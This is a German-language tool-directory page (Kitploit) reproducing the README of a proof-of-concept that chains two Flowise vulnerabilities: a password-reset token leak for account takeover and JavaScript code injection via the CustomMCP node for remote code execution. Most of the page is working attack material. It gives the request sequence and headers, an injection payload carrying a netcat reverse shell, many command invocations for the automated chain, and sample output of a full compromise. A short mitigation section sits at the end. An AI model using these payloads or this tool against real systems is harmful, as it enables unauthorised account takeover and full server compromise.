Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-58434-AND-59528-POC — Modularer PoC für CVE-2025-58434 (Kontoübernahme) und CVE-2025-59528 (RCE) in Flowise. Automatisiert die vollständige Angriffskette vom nicht authentifizierten Token-Leck bis zur Remote-Code-Ausführung über eine Reverse Shell oder einen benutzerdefinierten Befehl. | Kitploit
Tools/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungLernen & BildungRemote-Access-ToolPayload-Entwicklung
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Modularer PoC für CVE-2025-58434 (Kontoübernahme) und CVE-2025-59528 (RCE) in Flowise. Automatisiert die vollständige Angriffskette vom nicht authentifizierten Token-Leck bis zur Remote-Code-Ausführung über eine Reverse Shell oder einen benutzerdefinierten Befehl.

Repository anzeigen
192vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
Die Ausführung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.


Inhaltsverzeichnis

  • Übersicht
  • Details zu den Sicherheitslücken
    • CVE-2025-58434 – Account-Übernahme
    • CVE-2025-59528 – Remote-Code-Ausführung
  • Vollständige Angriffskette
  • Betroffene Versionen
  • Repository-Struktur
  • Voraussetzungen
  • Installation
  • Verwendung
    • Standardverhalten
    • Hilfe-Bildschirm
    • Kettenmodus
    • Modul – ATO
    • Modul – Login
    • Modul – RCE
  • Flag-Referenz
  • Reverse Shell vs. eigener Befehl
  • Beispielausgabe
  • Abhilfe
  • Offenlegungszeitplan
  • Referenzen
  • Haftungsausschluss

  • Übersicht

    Dieses Repository kombiniert zwei kritische Sicherheitslücken in Flowise zu einem einzigen, modularen PoC-Tool.

    CVE-2025-58434CVE-2025-59528
    TypAccount-ÜbernahmeRemote-Code-Ausführung
    Authentifizierung erforderlichKeineJa (jedes gültige Konto)
    CVSS9,8 KritischKritisch
    BetroffenCloud + Selbst gehostetSelbst gehostet

    Die beiden Schwachstellen verketten sich natürlich: CVE-2025-58434 ermöglicht eine nicht authentifizierte Account-Übernahme, was die Authentifizierungsanforderung für CVE-2025-59528 erfüllt – und in einem einzigen automatisierten Durchlauf nicht authentifizierte RCE erreicht.


    Details zu den Sicherheitslücken

    CVE-2025-58434 – Account-Übernahme

    Grundursache: Der Endpunkt forgot-password gibt den Passwort-Reset-Token (tempToken) direkt im HTTP-Antworttext zurück, anstatt ihn nur per E-Mail zu senden.

    Angriffsschritte:

    1. POST /api/v1/account/forgot-password mit einer beliebigen registrierten E-Mail
    2. tempToken aus der JSON-Antwort auslesen – kein E-Mail-Zugriff erforderlich
    3. POST /api/v1/account/reset-password mit dem durchgesickerten Token → neues Passwort setzen
    4. Als Opfer anmelden

    Durchgesickerte Antwort (gekürzt):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 – Remote-Code-Ausführung

    Grundursache: Der Knoten CustomMCP übergibt benutzergesteuertes mcpServerConfig direkt an den Function()-Konstruktor von JavaScript, ohne Bereinigung. Da Flowise in Node.js läuft, hat injizierter Code vollständigen Zugriff auf child_process, fs und alle Node.js-Builtins.

    Verwundbarer Codepfad:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← unbereinigte Benutzereingabe
    

    Erforderliche Header:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    Standard-Injektionspayload (Reverse Shell):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    Hinweis: Reverse-Shell-Payloads verwenden cp.exec() (asynchron / Fire-and-Forget), sodass die HTTP-Anfrage sofort zurückkehrt und das Tool nicht aus Zeitüberschreitung ausfällt. Normale Befehle verwenden cp.execSync() und geben die Ausgabe inline zurück.


    Vollständige Angriffskette

    root@kitploit:~
    Attacker                              Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← token leaked in response
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← ATO complete
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() fires in background]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       Attacker's nc listener ←─────────────── Server connects back
       ✓  Full RCE from zero credentials
    

    Betroffene Versionen

    KomponenteStatus
    Flowise Cloud (cloud.flowiseai.com)Von CVE-2025-58434 betroffen
    Flowise selbst gehostet (alle Versionen vor dem Patch)Von beiden CVEs betroffen

    Weitere Informationen finden Sie in den offiziellen Flowise-Sicherheitsadvisories für die Versionen mit Patch.


    Repository-Struktur

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # Haupt-PoC – alle Module + Kettenmodus
    ├── requirements.txt    # Python-Abhängigkeiten
    ├── README.md           # Diese Datei
    └── DISCLAIMER.md       # Vollständiger rechtlicher Hinweis
    

    Voraussetzungen

    • Python 3.7+
    • requests-Bibliothek

    Installation

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    Verwendung

    Standardverhalten

    Es ist kein Modus-Flag erforderlich. Wenn Sie das Skript ohne --chain oder --module ausführen, läuft es automatisch im vollständigen Kettenmodus. Der Standard-RCE-Payload ist eine Reverse Shell – geben Sie einfach --lhost und --lport an.

    root@kitploit:~
    # Minimale Ausführung – vollständige Kette + Reverse Shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    Starten Sie Ihren Listener vor der Ausführung:

    root@kitploit:~
    nc -lvnp 4444
    

    Hilfe-Bildschirm

    root@kitploit:~
    python3 flowise_poc.py -h
    

    Kettenmodus

    Führt alle vier Schritte Ende-zu-Ende aus: Token durchsickern lassen → Passwort zurücksetzen → Anmelden → RCE.

    root@kitploit:~
    # Reverse Shell (Standard-Payload)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # Eigener Befehl anstelle von Reverse Shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # Benutzerdefiniertes ATO-Passwort + Reverse Shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    Modul – ATO

    Lässt den tempToken durchsickern und setzt das Passwort des Kontos zurück. Stoppt vor Login/RCE.

    root@kitploit:~
    # Standard-Neues-Passwort
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # Benutzerdefiniertes Neues-Passwort
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # Rohe JSON-Antwort ausgeben
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    Modul – Login

    Authentifizieren und die drei Sitzungs-Cookies für die manuelle Verwendung extrahieren.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # JSON-Ausgabe für Skripterstellung
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    Modul – RCE

    Auf dem Server ausführen. Führt automatisch einen Login durch, wenn --token nicht angegeben ist.

    root@kitploit:~
    # Reverse Shell – automatischer Login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # Eigener Befehl – automatischer Login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # Manueller Token – Reverse Shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # Alle drei Cookies manuell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    Flag-Referenz

    Modus (alle optional – Standard ist --chain)

    FlagBeschreibung
    --chainVollständige Kette: ATO → Login → RCE
    --module atoNur Account-Übernahme
    --module loginNur Login und Cookies extrahieren
    --module rceNur RCE

    Ziel

    FlagKurzBeschreibungErforderlich
    --url-uBasis-URL der Flowise-InstanzImmer
    --email-eZiel-/Login-E-MailImmer

    ATO-Optionen

    FlagKurzBeschreibungStandard
    --new-password-pPasswort, das nach ATO für das Opferkonto gesetzt wirdFlowise@Pwn3d2025!

    Authentifizierungsoptionen

    FlagKurzBeschreibung
    --login-password-PPasswort für das Login-Modul / RCE-Auto-Login
    --token—Cookie token manuell angeben (überspringt Login)
    --refresh-token—Cookie refreshToken manuell angeben
    --connect-sid—Cookie connect.sid manuell angeben

    RCE-Optionen

    FlagKurzBeschreibungStandard
    --lhost—Angreifer-IP für Reverse Shell—
    --lport—Angreifer-Port für Reverse Shell—
    --command-cEigener OS-Befehl (überschreibt Revshell)id, wenn kein lhost/lport

    Sonstige

    FlagKurzBeschreibungStandard
    --timeout-tHTTP-Timeout (Sekunden)15
    --json-output-jRohe JSON-Antworten ausgebenfalse

    Reverse Shell vs. eigener Befehl

    Das Skript wählt automatisch den richtigen Ausführungsmodus:

    SzenarioVerwendeter PayloadHTTP-Verhalten
    --lhost + --lport (kein -c)mkfifo-Netcat-Einzeilercp.exec() – asynchron, gibt sofort zurück
    -c "..." mit nc/mkfifo/bash -ials Revshell erkanntcp.exec() – asynchron, gibt sofort zurück
    -c "id" oder ein anderer normaler BefehlBenutzerbefehlcp.execSync() – blockiert, gibt Ausgabe zurück
    kein -c, kein --lhostidcp.execSync() – blockiert, gibt Ausgabe zurück

    Asynchrone Ausführung bedeutet, dass die HTTP-Anfrage sofort abgeschlossen wird – keine Timeout-Fehler bei Reverse-Shell-Payloads.


    Beispielausgabe

    root@kitploit:~
      [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        LEAKED ACCOUNT DATA
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] VULNERABLE — token disclosed without authentication!
    
      [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] Password reset SUCCESSFUL (tempToken cleared)
      [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
    
      [Step 3] [Auth] Logging in to extract session cookies ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        EXTRACTED SESSION COOKIES
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RCE RESULT
      ────────────────────────────────────────────────────────────────────
      Mode    : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] Reverse shell payload fired!
      [!] Waiting for connection on 10.10.16.35:4444 ...
      [!] Make sure your listener is running: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] CHAIN COMPLETE
    

    Abhilfe

    Für CVE-2025-58434

    • Token niemals in API-Antworten zurückgeben. Senden Sie den tempToken nur per registrierter E-Mail.
    • Geben Sie eine generische Erfolgsmeldung zurück, unabhängig davon, ob die E-Mail existiert (verhindert Aufzählung).
    • Machen Sie Token einmal verwendbar, kurzlebig (≤15 Min.) und an den Anforderungskontext gebunden.
    • Ratenbegrenzung für den Endpunkt forgot-password.

    Für CVE-2025-59528

    • Benutzereingaben niemals an Function(), eval() oder vm.runInThisContext() übergeben.
    • Parsen Sie mcpServerConfig als reine Daten (z. B. JSON.parse()) – führen Sie es niemals aus.
    • Falls dynamische Auswertung erforderlich ist, verwenden Sie eine isolierte Sandbox mit eingeschränktem Kontext.
    • Wenden Sie strenge Eingabevalidierung und eine Positivliste zulässiger Konfigurationsschlüssel an.

    Allgemein

    • Patchen Sie sowohl Cloud- als auch selbst gehostete Bereitstellungen.
    • Aktivieren Sie Protokollierung und Alarmierung auf den Endpunkten für Passwort-Reset und node-load-method.
    • Erwägen Sie MFA für alle Administratorkonten.

    Offenlegungszeitplan

    DatumEreignis
    2025-08-19CVE-2025-58434 entdeckt und gemeldet
    TBDCVE-2025-59528 entdeckt und gemeldet
    TBDBestätigung durch den Hersteller
    TBDPatch veröffentlicht
    TBDÖffentliche Offenlegung

    Referenzen

    • GHSA-wgpv-6j63-x5ph – CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p – CVE-2025-59528
    • Flowise GitHub
    • CWE-640: Schwacher Mechanismus zur Passwortwiederherstellung
    • CWE-94: Unzureichende Kontrolle der Codegenerierung

    Haftungsausschluss

    Nur für Bildungszwecke und autorisierte Penetrationstests.
    Für den vollständigen rechtlichen Hinweis siehe DISCLAIMER.md.

    Tool herunterladen